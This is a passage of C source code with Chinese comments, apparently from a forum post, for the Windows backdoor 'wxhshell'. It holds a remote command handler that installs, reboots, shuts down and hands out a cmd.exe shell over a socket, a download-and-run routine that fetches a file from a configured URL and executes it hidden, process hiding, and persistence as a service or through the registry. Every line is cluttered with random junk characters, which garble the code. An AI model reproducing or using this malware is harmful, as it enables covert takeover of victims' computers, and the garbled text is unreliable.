_:M6~XHo  
    switch(cmd[0]) { .^dj B x  
  8+ B.x  
  // 帮助 0} liK  
  case '?': { #JO#PV%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  h:#  
    break; 8o4<F%ot  
  } X'jEI{1w  
  // 安装 VuJth  
  case 'i': { 68)z`JI|<)  
    if(Install()) w>H!H6Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4m#i4  
    else 'iMI&?8u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2{XQDOyA  
    break; ?_W "=WpC  
    } 52l|  
  // 卸载 P!B\:B%4~]  
  case 'r': { A~I}[O~(pb  
    if(Uninstall()) >|@ /GpD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { j&|Em]  
    else UH%?{>oRh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4MP!n?gB  
    break; %~^R Iwm  
    } p5)A"p8"9,  
  // 显示 wxhshell 所在路径 } %S1OQC  
  case 'p': { fBD5K3  
    char svExeFile[MAX_PATH]; 5[X^1  
    strcpy(svExeFile,"\n\r"); &sJpn* W  
      strcat(svExeFile,ExeFile); cdzzS?$)  
        send(wsh,svExeFile,strlen(svExeFile),0); _*bXVJ ]  
    break; "H%TOk7l  
    } #dW$"u   
  // 重启 8dIgw  
  case 'b': { _=q)lt-UY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0[PP Vr:  
    if(Boot(REBOOT)) N1P [&lR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EW#.)@-  
    else { RXl52#:  
    closesocket(wsh); &ks>.l\  
    ExitThread(0); @%ChPjN  
    } go2:D#mf  
    break; YIgzFt[L  
    } "M_X9n_  
  // 关机  A{5 k}  
  case 'd': { z>~`9Qiw'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vj?9X5A_  
    if(Boot(SHUTDOWN)) cQgmRHZ]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dHf_&X2A  
    else { <&l3bL  
    closesocket(wsh); }Ax$}#  
    ExitThread(0); ,589/xTA@  
    } I9SO}a2p  
    break; _QY0j%W  
    } 2c8,H29  
  // 获取shell e *;"$7o9  
  case 's': { g"# R>&P  
    CmdShell(wsh); YDjQ&EH  
    closesocket(wsh); I+`~6  
    ExitThread(0); ! ~&X1,l1*  
    break; 1mI)xDi9  
  } 4"l(rg  
  // 退出 6],5X^*Y  
  case 'x': { 5IdmKP|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v`y{l>r,  
    CloseIt(wsh); H[]j6D  
    break; {hg,F?p '  
    } hbE;zY%hP  
  // 离开 /=m=i%& #  
  case 'q': { .%WbXs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =B<g_9d4  
    closesocket(wsh); bG.aV#$FIg  
    WSACleanup(); $`l- cSH;  
    exit(1); X5>p~;[9  
    break; c/T]=S[  
        } %@H;6   
  } &)xoR4!2  
  } !i)?j@D  
[|k@Suv |z  
  // 提示信息 @*%5"~F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x:sTE u@  
} 'ky'GzX,  
  } lpSM p  
;"joebZ/  
  return; \8_&@uLm  
} V\ARe=IWM  
k*z)AR  
// shell模块句柄 5zfaqt`  
int CmdShell(SOCKET sock) *]x]U >EF  
{ ]dk~C?H  
STARTUPINFO si; x]y~KbdeB  
ZeroMemory(&si,sizeof(si)); p@r~L(>+3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZL1[Khr,s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gfih;i.pY  
PROCESS_INFORMATION ProcessInfo; !\?? [1_e  
char cmdline[]="cmd"; #1V vK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /A <L  
  return 0; ']}ZI 8  
} Q3z-v&^E9  
nW{7L  
// 自身启动模式 q1NAKcA<U  
int StartFromService(void) SC86+  
{ LRB#|PW  
typedef struct #W!@j"8eK  
{ NsWyxcty  
  DWORD ExitStatus; rC/m}`b  
  DWORD PebBaseAddress; ";s?#c  
  DWORD AffinityMask; oqUtW3y  
  DWORD BasePriority; /pX\)wi  
  ULONG UniqueProcessId; WI}P(!h\J  
  ULONG InheritedFromUniqueProcessId; ;uDH&3W  
}   PROCESS_BASIC_INFORMATION; XQlK}AK  
1_GUi  
PROCNTQSIP NtQueryInformationProcess; m./lrz  
uN6TV*]:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FS`{3d2K +  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1(rH5z'F  
qBKIl= ne  
  HANDLE             hProcess; oD~VK,.  
  PROCESS_BASIC_INFORMATION pbi; gt'0B-;W  
qrm~=yU%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m:Z=: -x  
  if(NULL == hInst ) return 0; }2V|B4  
SaQ_%-&#p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0'z$"(6D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GaM#a[p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  SvDVxK  
e~nmIy  
  if (!NtQueryInformationProcess) return 0; x:@HtTX  
5XA6IL|/l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VEo>uR  
  if(!hProcess) return 0; ~i6tc d  
7 P=1+2V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *vUKh^="  
0=L:8&m  
  CloseHandle(hProcess); TQ>kmHWf/  
F~{yqY5]n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q[`_Y3@j  
if(hProcess==NULL) return 0; c?>Q!sC  
(#LV*&K%IC  
HMODULE hMod; }c%QF  
char procName[255]; 1&Nk  
unsigned long cbNeeded; fLct!H3  
D|`[ [  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v[35C]gS  
p24sWDf  
  CloseHandle(hProcess); J3y5R1?EP  
D8BK/E-  
if(strstr(procName,"services")) return 1; // 以服务启动 kM]?  
vr=iG xD  
  return 0; // 注册表启动 s26:(J [{  
} +Rxf~m(pV  
tlI3jrgw  
// 主模块 `!>zYcmT  
int StartWxhshell(LPSTR lpCmdLine) Y@_ i32,r  
{ Wi hQj  
  SOCKET wsl; IEjKI"  
BOOL val=TRUE; !T6oD]x3  
  int port=0; )?I1*(1{A  
  struct sockaddr_in door; o @~XX@5l  
c*HS#C7'2  
  if(wscfg.ws_autoins) Install(); )Xl/|YD  
}!lLA4XRr  
port=atoi(lpCmdLine); KX[_eO L  
>2vl & (  
if(port<=0) port=wscfg.ws_port; <;SQ1^N  
|Tf}8e  
  WSADATA data; dB^J}_wp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .e"De-u  
O&E1(M|*>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gO gZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ShF ][v1L  
  door.sin_family = AF_INET; ce 1KUwo]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (ZT*EFhb(  
  door.sin_port = htons(port); ;BejFcb  
z,I7 PY& G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3)EslBA7i  
closesocket(wsl); fw|r{#d  
return 1; AL&}WbUC  
} +m Mn1&  
2JUX29rER  
  if(listen(wsl,2) == INVALID_SOCKET) { _ZC4O&fL  
closesocket(wsl); ]cLpLA"  
return 1; 2RT9Q!BX{  
} 1CFrV=d  
  Wxhshell(wsl); Bl3G_Ep   
  WSACleanup(); #W~5M ?+  
R]m`v: 9  
return 0; lVARe3#  
Gx y>aS3  
} Rr|VGtg  
ipw_AC~  
// 以NT服务方式启动 F, %qG,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f?2Y np=@  
{ WFjNS'WI_  
DWORD   status = 0; L!3{ASIN0  
  DWORD   specificError = 0xfffffff; n<"?+bz"<  
J,4]d u$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V7[Dvg:W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .hSacd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jf$6{zO6j  
  serviceStatus.dwWin32ExitCode     = 0; 5R{ {FD`h  
  serviceStatus.dwServiceSpecificExitCode = 0; pIC CjA?3@  
  serviceStatus.dwCheckPoint       = 0; )[~ #j6  
  serviceStatus.dwWaitHint       = 0; )j',e $m  
^ Gq2"rDM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); * jT r  
  if (hServiceStatusHandle==0) return; c<y.Y0  
[I4K`>|Z  
status = GetLastError(); F,11 \j  
  if (status!=NO_ERROR) ?0DCjh8We  
{ G|4vnIS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wI1[I  
    serviceStatus.dwCheckPoint       = 0; 5w@  ;B  
    serviceStatus.dwWaitHint       = 0; c^6v7wT5  
    serviceStatus.dwWin32ExitCode     = status; qaA\.h7  
    serviceStatus.dwServiceSpecificExitCode = specificError; zb?wl fT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9RE{,mos2v  
    return; !_?<-f(  
  } K.*?\)&  
MN$j{+!Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !6@xX08z  
  serviceStatus.dwCheckPoint       = 0; l^u P?l"  
  serviceStatus.dwWaitHint       = 0; HsR#dp+s~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); prlB9,3|C  
} oeDsJ6;  
,au64sH  
// 处理NT服务事件,比如:启动、停止 1 _fFbb"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b v\V>s  
{ `]LaX&u  
switch(fdwControl) xp)#a_}  
{ /q uf'CV}  
case SERVICE_CONTROL_STOP: 0k:&7(j  
  serviceStatus.dwWin32ExitCode = 0; |Mo# +{~c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }<2F]UuR  
  serviceStatus.dwCheckPoint   = 0; !V+5$TsS  
  serviceStatus.dwWaitHint     = 0; \S=!la_T@m  
  { ,h #!!j\j6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` eND3c  
  } {;n?c$r  
  return; 7@fd[  
case SERVICE_CONTROL_PAUSE: :54|Z5h|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "sAR< 5b  
  break; rHT8a^MO  
case SERVICE_CONTROL_CONTINUE: iJ?8)}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  7z<!2  
  break; ~1|sf8  
case SERVICE_CONTROL_INTERROGATE: sx*1D9s_  
  break; (pi7TSJ  
}; :{_Or'L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ])m",8d&T  
} .7ahz8v  
;cp-jY_U  
// 标准应用程序主函数 )tFFa*Z'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sn5N9=\+T  
{ *uA?}XEfi  
<Cg;l<$`b  
// 获取操作系统版本 1G.+)*:3  
OsIsNt=GetOsVer(); nz+o8L,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U|{WtuR  
:vurU$\  
  // 从命令行安装 %(6f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7c %@2  
EF"ar  
  // 下载执行文件 w2+RX-6Ie  
if(wscfg.ws_downexe) { (g7nMrE$j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;Ic3th%u  
  WinExec(wscfg.ws_filenam,SW_HIDE); /R|"/B0  
} 3qpk Mu3  
}-r"W7]k  
if(!OsIsNt) { OR?8F5o?p  
// 如果时win9x,隐藏进程并且设置为注册表启动 })mez[UmZ  
HideProc(); ?ZDx9*f  
StartWxhshell(lpCmdLine); ,l0s(Cg  
} ~RvU+D  
else UwE^ij  
  if(StartFromService()) A8Jbl^7E+  
  // 以服务方式启动 .*Hv^_  
  StartServiceCtrlDispatcher(DispatchTable);  }Ecm  
else \GMudN  
  // 普通方式启动 n0vPW^EQ  
  StartWxhshell(lpCmdLine); }}_WZ},h  
P92:}" )*>  
return 0; tmb0zuJ&C!  
}
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只看该作者 1 发表于: 2006-10-10
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